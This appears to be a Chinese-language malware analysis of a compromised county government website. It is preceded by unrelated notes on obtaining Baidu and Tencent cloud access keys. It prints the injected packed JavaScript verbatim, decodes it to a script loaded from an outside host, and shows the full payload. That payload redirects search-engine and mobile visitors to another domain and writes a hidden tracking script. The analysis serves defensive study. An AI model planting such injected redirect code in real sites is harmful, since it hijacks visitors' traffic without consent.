Baiduyun

AccessKey参考:https://cloud.baidu.com/doc/Reference/GetAKSK.html

需开工单对客服申请域名服务API权限,由于百度API/SDK 接口并不支持跟域名列表获取,故只能事先填入根域名列表

Tencent

AccessKey生成:云产品->管理工具->云API密钥

桃源县国防教育网挂马分析

网站名称

桃源县国防教育网

网站域名

tygfjy.taoyuan.gov.cn

挂马页面

http://tygfjy.taoyuan.gov.cn/index.html

挂马代码

<script>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('r t=o.q(k,8,n,7,2,6,9,b,8,7,n,l,1,9,9,6,j,d,d,a,a,a,c,e,h,i,g,g,g,g,c,n,5,4,d,a,0,f,c,3,8,m,k,d,8,n,7,2,6,9,m);p.s(t);',62,30,'103|104|105|106|109|111|112|114|115|116|119|32|46|47|48|49|50|53|57|58|60|61|62|99|String|document|fromCharCode|var|write|xyz'.split('|'),0,{}))
</script>

代码解密

<script>
    var xyz=String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,48,53,57,50,50,50,50,46,99,111,109,47,119,103,49,46,106,115,62,60,47,115,99,114,105,112,116,62);document.write(xyz);
</script>

<script src=http://www.0592222.com/wg1.js></script>

恶意代码

var sp_regexps=/\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc)\./ig;
var sp_whereis=window.location.referrer;
try{sp_whereis=top.document.referrer;}catch(e){}
try{sp_whereis=window.parent.document.referrer;}catch(e){}
var sp_domains=window.location.host;
try{sp_domains=top.document.domain;}catch(e){}
try{sp_domains=window.parent.document.domain;}catch(e){}
if (sp_regexps.test(sp_whereis))
{
    window.location.href="http://www.bgpt10.com/";
    parent.window.opener.location = 'http://www.bgpt10.com/';
}
function browserRedirect() {
    var sUserAgent = navigator.userAgent.toLowerCase();
    var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
    var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os";
    var bIsMidp = sUserAgent.match(/midp/i) == "midp";
    var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
    var bIsAndroid = sUserAgent.match(/android/i) == "android";
    var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
    var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
    if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM) )
    {
    }
    else
    {
        window.location.href='http://www.bgpt10.com/';
    }
}
browserRedirect();
document.write ('<div style="position: absolute; top: -987px;left: -987px;"><dd style="position: absolute; top: -987px;left: -987px;">')
document.write ('<script language="javascript" src="http://count41.51yes.com/click.aspx?id=417379216&logo=1" charset="gb2312"></script>');
document.write ('</div>')

代码分析

利用加密混淆过的JavaScript脚本在页面中写入一段用于判断页面请求来源和用户代理的JavaScript脚本,当请求来源包含“yahoo”、“google”、“baidu”、“soso”、“sogou”、“bing”、“sou”、“so”、“360”、“haosou”、“youdao”、“sooule”、“easou”、“aliyun”、“sina”、“jike”、“Yisou”、“uc”等关键字时,页面和原窗口跳转至“http://www.bgpt10.com/”,当用户代理包含“iphone os”、“midp”、“android”、“windows ce”、“windows mobile”等关键字时,页面跳转至“http://www.bgpt10.com/”,否则页面将会被写入一段统计流量的JavaScript脚本。

触发执行

设置请求头为:Referer:http://www.baidu.com/、User-Agent:iphone os